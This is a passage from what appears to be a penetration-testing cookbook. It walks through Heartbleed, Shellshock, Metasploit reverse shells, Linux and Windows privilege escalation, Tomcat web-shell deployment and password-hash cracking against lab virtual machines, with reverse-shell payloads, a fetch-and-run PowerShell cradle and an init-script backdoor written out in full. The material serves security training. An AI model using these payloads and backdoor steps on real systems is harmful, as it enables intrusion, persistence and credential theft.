We then set our attacking system to listen for a connection on TCP port 1691 (it could have been any other available TCP port), and after that, we instructed the server to connect to our machine through that port and to execute /bin/bash (a system shell) when the connection establishes. Anything we send through that connection will be received as input by the shell in the server. The use of & at the end of the command is to execute it in the background and prevent the PHP script's executions from stopping because it's waiting for a response from the command.

Exploiting Platform Vulnerabilities

In this chapter, we will cover:

- Exploiting Heartbleed vulnerability using Exploit-DB

- Executing commands by exploiting Shellshock

- Creating and capturing a reverse shell with Metasploit

- Privilege escalation on Linux

- Privilege escalation on Windows

- Using Tomcat Manager to execute code

- Cracking password hashes with John the Ripper by using a dictionary

- Cracking password hashes via Brute Force with Hashcat

Introduction

From time to time, we find a server with vulnerabilities in its operating system, in a library the web application uses, or in an active service, or there may be another security issue that is not exploitable from the browser or the web proxy.

If the project's scope allows us to do so and no disruption is caused to the server, we can try and exploit such vulnerabilities and get access to the underlying operating system of our target application.

In this chapter, we will start from the point where we already found a vulnerability on the web server or operating system, then we will find an exploit for such a vulnerability and execute it against the target and, once the exploitation is successful, we will build our path up to gain administrative access, and to become capable of moving laterally around the network.

Exploiting Heartbleed vulnerability using Exploit-DB

Heartbleed is a vulnerability in the OpenSSL library discovered in 2014. It allows the attacker to read portions of memory from the server; these portions may contain parts of the communication between clients and the server in clear text. As soon as the Heartbleed vulnerability was released, plenty of public exploits came to light. Offensive Security, the creators of Kali Linux, also host Exploit-DB (https://www.exploit-db.com/), a website that collects exploits made publicly available by their developers; we can find several variants of Heartbleed exploits there.

In this recipe, we will use the commands Kali includes to explore the local copy of Exploit-DB in Kali Linux, find the exploit we need, and finally we will use it to exploit Heartbleed in our target server.

Getting ready

For this recipe, we will use the bee-box vulnerable virtual machine (https://sourceforge.net/projects/bwapp/files/bee-box/) as it has an OpenSSL version vulnerable to a well-known vulnerability called Heartbleed (http://heartbleed.com/), which affects encrypted communication over protocol TLS versions 1.0 and 1.1, and allows for an attacker to extract a portion of the server's memory containing unencrypted information.

How to do it...

The vulnerable bee-box virtual machine will have the IP address 192.168.56.12 and the vulnerable service is running on port 8443. Let's start by identifying the vulnerability in the server:

1. We use sslscan to check the TCP port 8443 on bee-box; as the following screenshot shows, we will find it is vulnerable to Heartbleed:

2. By exploiting Heartbleed we will extract information from the server, before proceeding to undertake some activities in the applications, like logging into bWAPP (https://192.168.56.12:8443/bwapp/) to be sure there's some data in the server's memory.

3. Now, to look for an exploit in the local copy of Exploit-DB, open a Terminal and type the searchsploit heartbleed command. The result is displayed here:

4. We'll pick the first exploit in the list. To inspect this exploit's contents and analyze how to use it and what it does, we can simply use the cat command to display the Python code, as illustrated:

5. According to the instructions in the exploit, we should run it with the server address as the first parameter and then the -p option to indicate the port we want to test. So, the attacking command should be python /usr/share/exploitdb/platforms/multiple/remote/32764.py 192.168.56.12 -p 8443. The next screenshot shows the result of a successful attack where we were able to retrieve a username and password:

How it works...

Heartbleed is a buffer over-read vulnerability in the OpenSSL TLS implementation; this means that more data can be read from memory than should be allowed. By exploiting this vulnerability, an attacker can read information from the OpenSSL server memory in clear text, which means that we don't need to decrypt or even intercept any communication between the client and the server. The exploitation works by abusing the heartbeat messages exchanged by server and client; these are short messages sent by the client and answered by the server to keep the session active. In a vulnerable implementation, a client can claim to send a message of size X, while sending a smaller amount (Y) of bytes. The server will then respond with X bytes, taking the difference (X-Y) from the memory spaces contiguous to those where the received heartbeat message is stored. This memory space usually contains requests (already decrypted) that were previously sent by other clients.

Once we identify a vulnerable target, we use the searchsploit command; it is the interface to the local copy of Exploit-DB installed on Kali Linux, and it looks for a string in the exploit's title and description and displays the results.

Once we understand how the exploit works and determine it is safe to use, we run it against the target and collect the results. In our example, we were able to extract a valid username and password from a client connected over an encrypted channel.

There's more...

It is very important to monitor the effect and impact of an exploit before we use it in a live system. Usually, exploits in Exploit-DB are trustworthy, even though they often need some adjustment to work in a specific situation, but there are some that may not do what they say; because of that, we need to check the source code and test it in our laboratory prior to using them in a real-life pen test.

See also

Besides Exploit-DB, there are other sites where we can look for known vulnerabilities in our target systems and exploits:

- http://www.securityfocus.com

- http://www.xssed.com/

- https://packetstormsecurity.com/

- http://seclists.org/fulldisclosure/

- http://0day.today/

Executing commands by exploiting Shellshock

Shellshock (also called Bashdoor) is a bug that was discovered in the bash shell in September 2014, allowing the execution of commands through functions stored in the values of environment variables.

Shellshock is relevant to us as web penetration testers because developers sometimes use calls to system commands in PHP and CGI scripts—more commonly in CGI—if these scripts make use of system environment variables.

In this recipe, we will exploit a Shellshock vulnerability in the bee-box vulnerable virtual machine to gain command execution on the server.

How to do it...

Browse to bee-box over HTTP (http://192.168.56.12/bWAPP/) and log in to start this exercise:

1. In the Choose your bug: drop-down box, select Shellshock Vulnerability (CGI) and then click on Hack:

In the text, we can see something interesting: Current user: www-data. This may mean that the page is using system calls to get the username. It also gives us a hint to attack the referrer.

2. Let's see what is happening behind the scenes and use Burp Suite to record the requests and reload the page. If we look at the proxy's history:

We can see that there is an iframe calling a shell script: /cgi-bin/shellshock.sh, which might be the script vulnerable to Shellshock.

3. Let's take the hint and try to attack the referrer of shellshock.sh. We first need to configure Burp Suite to intercept server responses. Go to Options in the Proxy tab and check the box with the text Intercept responses based on the following rules.

4. Now, set Burp Suite to intercept and then reload shellshock.php.

5. In Burp Suite, click Forward until you get to the GET request to /bWAPP/cgi-bin/shellshock.sh. Then, replace the Referer with () { :;}; echo "Vulnerable:" as shown in the following screenshot:

6. Click Forward again, and once more in the request to the .ttf file, and then we should get the response from shellshock.sh, as shown in the following screenshot:

The response now has a new header parameter called Vulnerable. This is because it integrated the output of the echo command to the HTML header we submitted, now we can take this further and execute more interesting commands.

7. Now, try the () { :;}; echo "Vulnerable:" $(/bin/sh -c "/sbin/ifconfig") command. As the result shows, the command's result is included in the response header:

8. Being able to execute commands remotely on a server is a huge advantage in a penetration test and the next natural step is to obtain a remote shell, meaning a direct connection where we can send more elaborate commands. Open a Terminal in Kali Linux and set up a listening network port with the following command: nc -vlp 12345.

9. Now go to Burp Suite proxy's history, select any request to shellshock.sh, right-click on it, and send it to the repeater.

11. Once in the repeater, change the value of Referer to: () { :;}; echo "Vulnerable:" $(/bin/sh -c "nc -e /bin/bash 192.168.56.10 12345"). In this case, 192.168.56.10 is the address of our Kali machine.

12. Click Go. If we check our Terminal, we can see the connection is established; issue a few commands to check whether or not we have a remote shell:

How it works...

In the first five steps, we discovered that there was a call to a shell script and, as it should have been run by a shell interpreter, it may have been bash or a vulnerable version of bash.
To verify that, we performed the following test:

() { :;}; echo "Vulnerable:"

The first part, () { :;};, is an empty function definition since bash can store functions as environment variables, and this is the core of the vulnerability, as the parser keeps interpreting (and executing) the commands after the function ends. This allows us to issue the second part, echo "Vulnerable:", a command that simply returns and echoes what it is given as input.

The vulnerability occurs in the web server because the CGI implementation maps all the parts of a request to environment variables, so this attack also works if done over User-Agent or Accept-Language instead of referer. Once we know the server is vulnerable, we issue a test command, ifconfig, and set up a reverse shell.

A reverse shell is a remote shell that has the particular characteristic of being initiated by the server so that the client listens for a connection instead of the server waiting for a client to connect, as in a bind connection.

Once we have a shell to the server, we need to escalate privileges and get the information needed to help with our penetration test.

There's more...

Shellshock affects a huge number of servers and devices all around the world, and there is a variety of ways to exploit it. For example, the Metasploit Framework includes a module to set up a DHCP server to inject commands on the clients that connect to it; this is very useful in a network penetration test in which we have mobile devices connected to the LAN (https://www.rapid7.com/db/modules/auxiliary/server/dhclient_bash_env).

Creating and capturing a reverse shell with Metasploit

When we gain command execution on a server, we usually get it through a limited web-shell. The next thing we need to do is to find a way to upgrade this limited shell into a fully interactive shell and eventually escalate it to root/administrator level privileges.

In this recipe, we will learn how to use Metasploit's msfvenom to create an executable program that triggers a connection back to our attacking machine and spawns an advanced shell (meterpreter) so we can further exploit the server.

How to do it...

For this exercise, have both the Kali and bee-box virtual machines running, then follow the next steps:

1. First, we use msfvenom to generate our reverse meterpreter shell, setting it up to connect back to the Kali machine's IP address. Open a Terminal in Kali and issue the following command:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.10 LPORT=4443 -f elf > cute_dolphin.bin

This will create a file named cute_dolphin.bin, which is a reverse Linux meterpreter shell; reverse means that it will connect back to the attacking machine instead of listening for us to connect.

2. Next, we need to set up a listener for the connection our cute dolphin is going to create. Open a msfconsole terminal and once it loads, issue the following commands:

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.56.10
set lport 4443
run

As you can see, the payload, lhost, and lport are the ones we used to create the .bin file. This is the IP address and TCP port the program is going to connect to, so we will need to listen on that network interface of our Kali Linux and over that port. The final exploit configuration should look as follows:

3. Now we have our Kali ready, it's time to prepare the attack on the victim. Let's start the Apache service as the root and run the following code:

service apache2 start

4. Then, copy the malicious file to the web server folder:

cp cute_dolphin.bin /var/www/html/

5. Now we proceed to the exploitation. We know bee-box is vulnerable to Shellshock and will use it to make the server download the malicious file. Exploit Shellshock on the server with the following payload:

() { :;}; echo "Vulnerable:" $(/bin/sh -c "/usr/bin/wget http://192.168.56.10/cute_dolphin.bin -O /tmp/cute_dolphin.bin;chmod +x /tmp/cute_dolphin.bin; ls -l /tmp/cute_dolphin.bin")

The last two parts of the payload are for setting the execution permission to the downloaded file (chmod +x /tmp/cute_dolphin.bin) and to make sure the file was downloaded (ls -l /tmp/cute_dolphin.bin). As the following screenshot shows, a successful exploitation will return the filename and its properties:

6. With the file in the server, we exploit Shellshock again to execute it: () { :;}; echo "Vulnerable:" $(/tmp/cute_dolphin.bin").

7. If everything goes right, we should see a connection being received in our Metasploit's listener, as illustrated as follows:

8. Once the session is established, we can use the help command to see the functionality of meterpreter and start to run commands on the compromised server:

How it works...

msfvenom helps us create payloads from the extensive list of Metasploit's payloads, and incorporates them into source code in many languages, or creates scripts and executable files, as we did in this recipe. The parameters we used here were the payload to use (linux/x86/meterpreter/reverse_tcp), the host and port to connect back (lhost and lport), and the output format (-f elf), redirecting the standard output to a file to have it saved as cute_dolphin.bin.

The exploit/multi/handler module of Metasploit is a payload handler. This means it doesn't actually perform any exploitation; instead it only processes connections with payloads executed in compromised hosts. In this case, we used it to listen for the connection and after the connection was established, it ran the meterpreter payload.

Meterpreter is Metasploit's version of a shell on steroids. Although meterpreter for Linux is more limited than its Windows counterpart, which contains modules to sniff on a victim's network and to perform privilege escalation and password extraction, we can still use it as a pivot point to access the victim's local network, or to exploit the host further by using the local and post-exploitation Metasploit modules.

Privilege escalation on Linux

For some penetration testing projects, getting a web-shell may be enough in terms of exploitation and demonstration of the impact of a vulnerability. In some other cases, we may need to go beyond that to expand our level of privilege within that server or to use it to pivot to other hosts in the network.

In this first recipe about privilege escalation, we will draw on the previous recipe where we uploaded and executed a reverse shell to our attacking machine and use tools included in Kali Linux to gain administrative access on the server.

Getting ready

It is recommended that the previous two recipes, Executing commands by exploiting Shellshock and Creating and capturing a reverse shell with Metasploit, be completed before starting this one, although it is possible to achieve the same results from any limited shell on a remote server.

How to do it...

We have a meterpreter shell running on a compromised server—more specifically, bee-box with the IP 192.168.56.12. Let's start by finding a way to escalate privileges:

1. Kali Linux includes a tool called unix-privesc-check; it checks the system for configuration vulnerabilities that may allow us to escalate privileges. From a meterpreter shell, we can use the upload command to upload it to the server. In your meterpreter session, issue the upload /usr/bin/unix-privesc-check /tmp/ command.

2. Once the file is uploaded, open a system shell (using the shell command in meterpreter) and run the script with /tmp/unix-privesc-check standard. The following screenshot shows the process:

3. The script will show a long list of results, but we are interested in the one that shows WARNING at the beginning. In the following screenshot, we can see that there is a script (/etc/init.d/bwapp_movie_search) which is run by root at startup and everyone can write to it (World write is set):

4. We will use that file to make the root user execute commands at startup. We will make it create a user with administrative privileges so we can connect through SSH to the the server at any time. To do so, we need to check the groups existing in the system so we can have an idea of which have privileged access. In the system shell, run the cat /etc/group|sort -u command. You will see that there are some interesting names such as adm, admin, and root.

5. As we don't have a full shell, we cannot open a text editor to add our commands to the target file, so we will need to append them line by line to the file using echo:

echo "/usr/sbin/useradd hacker -m -s /bin/bash -g admin -G root,adm" >> /etc/init.d/bwapp_movie_search

echo "echo hacker:MyPassword | chpasswd"
>> /etc/init.d/bwapp_movie_search

6. To verify that the commands were introduced properly, use tail. It will show the last lines of the file: tail /etc/init.d/bwapp_movie_search. In the screenshot, we can see what it should look like:

7. As this server is part of our testing lab, we can just restart it. In a real-world scenario, an attacker could attempt an attack to cause the server to restart, or a DoS to force the administrators to reboot it.

8. Once the server is restarted, use ssh in your Kali Linux to log in to ssh hacker@192.168.56.12 and then the password you set in step 5. If asked about accepting the certificate of the host, type yes and press Enter.

9. If everything went correctly, you will be able to log in. The following screenshot shows that the user has root access to all commands because they belong to group admin (sudo -l) and can impersonate the root user (sudo su):

How it works...

In this recipe, we used an existing meterpreter shell to upload a script to the compromised server. unix-privesc-check is a shell script that automatically looks for certain configurations, characteristics, and parameters in the system that may allow a limited user to access resources which they are not authorized for, such as files belonging to other users or programs that are run under higher privilege profiles. We ran unix-privesc-check with the standard parameter, which makes only a basic set of tests; there is also the detailed option that takes longer but also performs a deeper analysis and can give us more escalation alternatives.

After analyzing the results of unix-privesc-check, we decided to modify a script that is run with high privileges at boot time and added two commands to it. The first one was to create a user belonging to the groups admin, adm, and root, and the other was to set a password for such a user. To add those commands to the file, we used the echo command and the output redirection operator (>), as our limited shell won't allow us to open a text editor and directly edit the file. Then we restarted the virtual machine.

Before making any changes to a target system, always make sure that those changes are not going to disrupt any service and back up the files before altering anything.

When the machine rebooted, we connected to it via SSH using the user we set up to create and verify that it actually had root privileges. It is also a good idea to remove the lines we added to the /etc/init.d/bwapp_movie_search script to avoid triggering further alerts.

See also

We decided to use the modification of a file that is executed with root privileges at startup as our way of gaining administrative access. There are other options that may not require the attacker to wait for the server to be restarted, although altering startup scripts may be a way to retain persistent access, especially if such alterations are done in obscure functions within the scripts that are rarely looked into by administrators and developers.

Other common aspects to look for when trying to escalate privileges in Unix-based systems are the following:

- SUID bit: When this bit is set in the properties of a program or script, such a program will be executed under the privileges of the owner user, not under those of the user executing it. For example, if an executable file belongs to the root user (the owner is the first name shown when we do ls -l over a file) and is executed by user www-data, the system will treat that program as being executed by root. So, if we find a file like that and manage to alter the files that it opens or uses, we may be able to gain root execution.

- PATH and other environment variables: When programs call other programs or read system files, they need to specify their names and locations within the system; sometimes these programs only specify the name and relative paths. Also, the operating system has some precedence criteria regarding where to look first when an absolute path is not specified—for example, to look first in the current folder, in the program's location, or in those specified in the PATH environment variable. These two conditions open the door for an attacker to add a malicious file with the same name as the one required by a privileged program, in a location that will be looked at by the operating system before the actual location of the file, forcing the vulnerable program to process the contents of the attacker's file instead of the legitimate one.

- Exploits for known vulnerabilities: In real-world organizations, Unix-based systems are often the least frequently patched and updated. This gives attackers and penetration testers the opportunity to look for publicly available exploits that will allow them to take advantage of vulnerabilities existing in out-of-date software.

Privilege escalation on Windows

In this author's experience, Windows-based web servers have a considerable market share in business environments, and for internal web applications they may be more than 60% in a typical organization, adding to this the clear dominance of Microsoft SQL Server in the database market. This means that as penetration testers, we will surely face the situation where we manage to get command execution on a Windows server and need to gain administrative access in order to further exploit the network.

In this recipe, we will start from a limited web-shell on a Windows server and use publicly available exploits to gain system access, the highest local privilege level in Windows.

Getting ready

In this recipe, we will assume we already have a limited shell (https://github.com/tennc/web-shell/blob/master/fuzzdb-web-shell/asp/cmd.aspx) on a Windows 2008 R2 server. We will be using a Windows virtual machine, as downloaded from Microsoft's download center at https://www.microsoft.com/en-us/download/details.aspx?id=2227. The only change made is the addition of the Web Server Administrator role and configuring it to support ASP.Net applications. To enable ASP.Net, after installing the Web Server Administrator role, run C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis –i from a command Terminal.

How to do it...

So, we managed to upload our web-shell to a Windows web server. It is located at http://192.168.56.14/cmd.aspx. The first thing to do is to figure out which privilege level the web server is running:

1. Browse to the web-shell (http://192.168.56.14/cmd.aspx) and run the whoami command, as shown:

As you can see, our user is defaultapppool, from the iis apppool group, which is a very limited one in its default configuration.

2. Next, we need to improve our method of issuing commands. Let's use msfvenom to create a reverse meterpreter shell. We will use the server's own PowerShell to execute our payload in memory, without it ever touching the target's disk, making it difficult for antivirus and other protection software to detect it. To do that, our payload should be in PowerShell script format (-f psh) and we will save it directly to Kali's web root folder (-o /var/www/html/cutedolphin.ps1), shown as follows:

3. Once the payload is created, be sure that Kali's web server is running so the target can download the script: service apache2 start.

4. Now create a handler for the meterpreter connection. Open msfconsole in a Terminal and execute the following to adjust the parameters as per the payload:

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.56.10
set lport 4443
show options

5. The handler configuration should look like the following screenshot. Check everything is correct and execute the handler (run); it will open the configured port and wait for a connection:

6. Once we have the handler running, we need to execute the payload in the server. To do so, go to the web-shell and set the Program to powershell.exe and the Arguments to -noexit -c iex ((New-Object Net.WebClient).DownloadString('http://192.168.56.10/cutedolphin.ps1')) and click Run:

7. If the payload is correctly executed and the connection received, we will see our handler start a meterpreter session. Take note of the number assigned to the session, 1 in this case:

8. When running meterpreter on Windows hosts, we can use the getsystem command to easily escalate to System if the configuration allows it. As the following screenshot shows, it is not possible in this case; we also tried to dump the local password hashes but it didn't work. So we get the system information to look for a way to escalate privileges:

9. Use the background command to return to the Metasploit console and keep the meterpreter session running in the background.

10. We use the searchsploit command, and it shows very few exploits matching 2008 R2. Only one of them is local, meaning it can be executed from an existing session, and if we try it, it won't work because our target is already patched:

11. But we know it is very unlikely that there are only six exploits for Windows 2008 R2 in Exploit-DB. As demonstrated in the screenshot, if we use grep (grep "2008 R2" /usr/share/exploitdb/windows/local/*) to look inside the exploits' text, we will find more:

12. Now we need to select one exploit that works for our configuration. A somewhat efficient way of doing that is using the head command to look at the first lines of each candidate. For example, in the screenshot, we look at the first 20 lines of exploit number 40410 and we can see it exploits some software called Zortam Mp3 Media Studio, which is unlikely to be installed in our target. So we check another:

13. We keep looking until we find exploit number 35101, which exploits an internal Windows component and says it has been proven to work in our target system. It is also a Metasploit module, so we may find it in msfconsole and use our existing meterpreter session to trigger it. The next screenshot shows some key points:

14. Open msfconsole and search for TrackPopupMenu, part of the exploit's name. The one we are looking for is the one from 2014, windows/local/ms14_058_track_popup_menu:

15. Load and configure the module as shown below:

use windows/local/ms14_058_track_popup_menu
set payload windows/x64/meterpreter/reverese_tcp
set lhost 192.168.56.10
set lport 4444
set session 1

The final exploit configuration should look like this:

16. Run the exploit and see how it retrieves a new meterpreter session:

17. From this new session, we can verify it is running as a system (getuid). We can dump the password hashes of local users (hashdump), we can load meterpreter modules such as mimikatz, which allows us to recover clear-text passwords from the host's memory (kerberos, wdigest, tspkg), and we can perform many other Windows post-exploitation tasks, as illustrated:

How it works...

Our first move after gaining access to command execution through a web-shell was to use that command execution capability to upload a more advanced shell to the host so we could try privilege escalation exploits.

First, we prepared a metasploit payload using msfvenom and set up its handler. Then we used PowerShell and its Invoke-Expression (IEX) command. This takes a string and executes it as a script; the string we gave it as parameter was the contents of a file stored in our server that was downloaded using the WebClient object and its DownloadString function. This way, the contents of the remote file were passed directly to be executed by IEX without them being stored on the disk. This prevents the action of most antiviruses, as they react to read and write events on disk, not in memory.

With the advanced shell, we discovered that the quick privilege escalation methods were not working, then we looked into Exploit-DB for a local exploit to gain system access. The exploit we found was already part of Metasploit, so we just loaded it and used the active session to trigger it. That was the purpose of sending our first session to the background and the setting of the session value in the exploit configuration. After selecting a payload, and setting up a receiving host and port (lhost and lport) for the reverse connection, we launched the exploit. It was successful, returning us a new meterpreter session, this time with system privileges.

See also

As in the Unix case, pentestmonkey also has a small program to evaluate the configuration of the Windows operating system and to find possible privilege escalation weaknesses in it. This program is called windows-privesc-check.exe (https://github.com/pentestmonkey/windows-privesc-check/). The next screenshot shows an example of running it, displaying only security issues (in audit mode or --audit), performing the most basic sets of checks (-a), showing only results exploitable by the current user (-c), and saving the output, three files—.html, .txt and .xml—with the prefix privesc-check (-o privesc-check):

The following screenshot shows the resulting report in HTML format:

Another very interesting option for persistence, privilege escalation, and post exploitation is Empire (https://github.com/EmpireProject/Empire). It works by setting up agents in the compromised hosts that send information and perform commands sent via listeners hosted in the attacking machine. Empire includes modules for multiple operating systems for persistence (keeping access to the compromised hosts even after reboots or restarting services), privilege escalation, reconnaissance, lateral movement, data exfiltration, and even trolling and pranking. It is not included in the default installation of Kali Linux, but can easily be downloaded from the preceding URL and installed. This is what its main screen looks like:

Using Tomcat Manager to execute code

In Chapter 4, Testing Authentication and Session Management, we obtained the Tomcat Manager credentials and mentioned that this could lead us to execute code in the server. In this recipe, we will use such credentials to log in to the manager and upload a new application that will allow us to execute operating system commands within the server.

How to do it...

For this recipe, we come back to our OWASP BWA machine vm_1, and start from the point where we already know the credentials for the Tomcat server:

1. Browse to http://192.168.56.11:8080/manager/html and, when asked for username and password, use the ones obtained previously—root as username and owaspbwa as the password:

2. Once inside the manager, look for the section WAR file to deploy and click on the Browse button.

3. Kali includes a collection of web-shells in /usr/share/laudanum. Browse there and select the /usr/share/laudanum/jsp/cmd.war file:

4. After it has loaded, click Deploy:

5. Verify that you have a new application called cmd, as shown:

6. Let's try it; browse to http://192.168.56.11:8080/cmd/cmd.jsp.

7. If everything goes right, you should see a page with a textbox and a Send button. In the textbox, try a command and send it, for example ifconfig:

8. We can now execute commands, but which user and what privilege level do we have? Try the whoami command:

We can see Tomcat is running with root privileges in this server. That means that at this point, we have full control of it and can perform any operation, such as creating or removing users, installing software, configuring operating system options, and much more.

How it works...

Once we obtain the credentials for Tomcat Manager, the attack flow is pretty straightforward. We just need an application useful enough for us to upload it. Laudanum, included by default in Kali Linux, is a collection of web-shells for various languages and types of web servers, including PHP, ASP, ASP .Net, and JSP. What can be more useful to a penetration tester than a web-shell?

Tomcat has the ability to take a Java web application packaged in WAR format and can deploy it in the server. We used this functionality to upload the web-shell included in Laudanum and, after it was uploaded and deployed, we just browsed to it and, by executing system commands, discovered that we had root access in that system, as the server was not properly configured and had Tomcat running under the root user.

Cracking password hashes with John the Ripper by using a dictionary

In previous chapters, we extracted password hashes from databases; using hash strings is the most common method to find passwords in a penetration test. In order to discover the real password, we need to decipher them and, as hashes are generated through irreversible algorithms, we have no way of decrypting the password directly. Hence, it is necessary to use slower methods like brute force and dictionary cracking.

In this recipe, we will use John the Ripper (JTR or simply John), the most popular password cracker, to recover passwords from the hashes extracted in the step-by-step SQL injection recipe in Chapter 6, Exploiting Injection Vulnerabilities.

Getting ready

As the title of this recipe states, we will use a dictionary, that is, a list of words or possible passwords to crack previously obtained password hashes. Kali Linux includes several word lists in the /usr/share/wordlists/ directory. The one we will use in this recipe is RockYou, which comes by default compressed in GZIP format.

To uncompress the RockYou dictionary, we first need to go to the cd /usr/share/wordlists/ directory, then simply extract the archive contents using the gunzip command: gunzip rockyou.txt.gz. The next screenshot illustrates this process:

How to do it...

Once we have a list of hashes to crack and a dictionary, let's proceed:

1. Although John the Ripper is very flexible with regards to how it receives input, to prevent misinterpretations, we first need to set usernames and password hashes in a specific format. Create a text file called hashes_6_7.txt, containing one name and hash per line, separated by a colon (username:hash), as illustrated:

2. Once we have the file, we can go to a Terminal and execute the john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 hashes_6_7.txt command:

There are five out of six passwords in the word list. We can also see that john checked 2,607,000 comparisons per second (2,607 KC/s).

3. john also has the option to apply modifier rules, add prefixes or suffixes, change the case of letters, and use leet speak on every password. Let's try the following command on the still-uncracked password:

john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 hashes_6_7.txt --rules

We can see that the rules worked and we found the last password:

How it works...

John (and every other offline password cracker) works by hashing the words in the list (or the ones it generates) and comparing them to the hashes to be cracked and, when there is a match, it assumes the password has been found.

The first command uses the --wordlist option to tell John what words to use. If it is omitted, it generates its own list to generate a brute force attack. The --format option tells us what algorithm was used to generate the hashes, and if the format has been omitted, John tries to guess it, usually with good results. Lastly, we include the file that contains the hashes we want to crack.

We can increase the chance of finding passwords by using the --rules option because it applies common modifications people make to words when trying to create harder passwords to crack. For example, for the word password, John will also try the following, among others:

- Password

- PASSWORD

- password123

- Pa$$w0rd

Cracking password hashes via Brute Force using Hashcat

In recent years, the development of graphics cards has evolved enormously; the chips they include now have hundreds or thousands of processors inside them and all of them work in parallel. This, when applied to password cracking, means that if a single processor can calculate 10,000 hashes in a second, one GPU with 1,000 cores can do up to 10 million. That means reducing cracking times by a factor of 1,000 or more.

In this recipe, we will use Hashcat to crack hashes by brute force. This will work only if you have Kali Linux installed as a base system on a computer with an Nvidia or ATI chipset. If you have Kali Linux on a virtual machine, GPU cracking may not work, but you can always install Hashcat on your host machine. There are versions for both Windows and Linux (https://hashcat.net/hashcat/).

Getting ready

You need to be sure you have your graphics drivers correctly installed and that oclHashcat is compatible with them, so you need to do the following:

1. Run Hashcat independently; it will tell you if there is a problem: hashcat

2. Test the hashing rate for each algorithm it supports in benchmark mode hashcat --benchmark

3. Depending on your installation, Hashcat may need to be forced to work with your specific graphics card: hashcat --benchmark --force

How to do it...

We will use the same hashes file we used in the previous recipe:

1. First let's crack a single hash. Take the admin's hash: hashcat -m 0 -a 3 21232f297a57a5a743894a0e4a801fc3. The result should appear quickly:

As you can see, we are able to set the hash directly from the command line and it will be cracked in less than a second.

2. Now, to crack the whole file, we need to eliminate the usernames from it and leave only the hashes, as shown:

3. To crack the hashes from a file, we just replace the hash for the filename in the previous command: oclhashcat -m 0 -a 3 hashes_only_6_7.txt. As you can see in the following screenshot, using an old GPU, Hashcat can cover all the possible combinations of one to seven characters (at a rate of 688.5 million hashes per second) in just 10 minutes, and it would take a little more than 2 hours to test all the combinations of eight characters. That seems pretty good for Brute Force:

How it works...

The parameters we used to run Hashcat in this recipe were the ones for defining the hashing algorithm to be used: -m 0 tells the program to use MD5 to hash the words it generates and the type of attack. -a 3 means that we want to use a pure Brute Force attack and try every possible character combination until we arrive at the password. Finally, we added the hash we wanted to crack in the first case and the file containing a collection of hashes in the second case.

Hashcat can also use a dictionary file and create a hybrid attack (Brute Force plus dictionary) to define which character sets to test for and save the results to a specified file (it saves them to /usr/share/oclhashcat/Hashcat.pot). It can also apply rules to words and use statistical models (Markov chains) to increase the efficiency of the cracking. To see all of its options, use the --help option, as shown: oclhashcat --help.

Using Automated Scanners

In this chapter, we will cover:

- Scanning with Nikto

- Considerations when doing automated scanning

- Finding vulnerabilities with Wapiti

- Using OWASP ZAP to scan for vulnerabilities

- Scanning with Skipfish

- Finding vulnerabilities in WordPress with WPScan

- Finding vulnerabilities in Joomla with JoomScan

- Scanning Drupal with CMSmap

Introduction

Almost every penetration testing project must follow a strict schedule, mostly determined by clients' requirements or development delivery dates. It is very useful for a penetration tester to have a tool that can perform plenty of tests on an application in a short period of time in order to identify the biggest possible number of vulnerabilities in the scheduled time. Automated vulnerability scanners are the tools to pick for this task. They can also be used to find exploitation alternatives or to be sure that one doesn't leave something obvious behind in a penetration test.

Kali Linux includes several vulnerability scanners aimed at web applications or specific web application vulnerabilities. In this chapter, we will cover some of the most widely used by penetration testers and security professionals.

Scanning with Nikto

A must-have tool in every tester's arsenal is Nikto; it is perhaps the most widely used free scanner in the world. As stated on its official website (https://cirt.net/Nikto2):

"Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6700 potentially dangerous files/programs, checks for outdated versions of over 1250 servers, and version specific problems on over 270 servers. It also checks for server configuration items such as the presence of multiple index files, HTTP server options, and will attempt to identify installed web servers and software. Scan items and plugins are frequently updated and can be automatically updated."

In this recipe, we will use Nikto to search for vulnerabilities in a web application and analyze the results.

How to do it...

Nikto is a command-line utility included by default in Kali Linux; open a Terminal to start scanning the server:

1. We will scan the Peruggia vulnerable application and export the results to an HTML report with the nikto -h http://192.168.56.11/peruggia/ -o result.html command. The output will look like this:

The -h option tells Nikto which host to scan, the -o option tells it where to store the output, and the extension of the file determines the format it will take. In this case, we have used .html to obtain an HTML-formatted report of the results. The output could also be in the CSV, TXT, and XML formats.

2. It will take some time to finish the scan. When it finishes, we can open the result.html file:

How it works...

In this recipe, we have used Nikto to scan an application and generate an HTML report. There are some more options in this tool for performing specific scans or generating specific output formats. Some of the most useful are:

- -H: This shows Nikto's help.

- -config <file>: To use a custom configuration file in the scan.

- -update: This updates plugin databases.

- -Format <format>: This defines the output format; it may be CSV, HTM, NBE (Nessus), SQL, TXT, or XML. Formats such as CSV, XML, and NBE are very useful when we want to use Nikto's results as an input for other tools.

- -evasion <technique>: This uses some encoding techniques to help avoid detection by web application firewalls and intrusion detection systems.

- -list-plugins: To view the available testing plugins.

- -Plugins <plugins>: Select what plugins to use in the scan (default: all).

- -port <port number>: If the server uses a non-standard port (80, 443), we may want to use Nikto with this option.

Considerations when doing automated scanning

Normal vulnerability scanners such as OpenVas and Nessus usually work by scanning open ports on target machines, and identifying the services running on those ports and their versions without sending malicious payloads that could cause a disruption in the server. Web vulnerability scanners, on the contrary, submit data into web forms and parameters and, even when these scanners are thoroughly tested and their payloads are intended to be secure, such data can compromise the application's stability and information integrity. For this reason, we need to take special care when using these tools as part of a penetration testing project.

In this recipe, we will discuss a series of aspects to take into account before launching an automated test against a target application in an enterprise setup.

How to do it...

When preparing an automated scan for web applications, here are some key considerations:

1. Always prefer a testing environment over a productive one, so if anything goes wrong real data won't be lost or corrupted.

2. Ensure there is a recovery mechanism. The application's owners should take preemptive measures so data and code can be recovered in the case of an undesirable outcome.

3. Define the scope of scanning. Although we can just launch a scanner against a whole site, it is recommended first to define the tool's configuration so sensitive or unstable parts of the application are left out of the scan, and only the modules specific to the server's architecture and application's development platform are scanned.

4. Know your tools. Always take time to test the tools in a laboratory so you understand what they do and how can they affect the normal operation of an application.

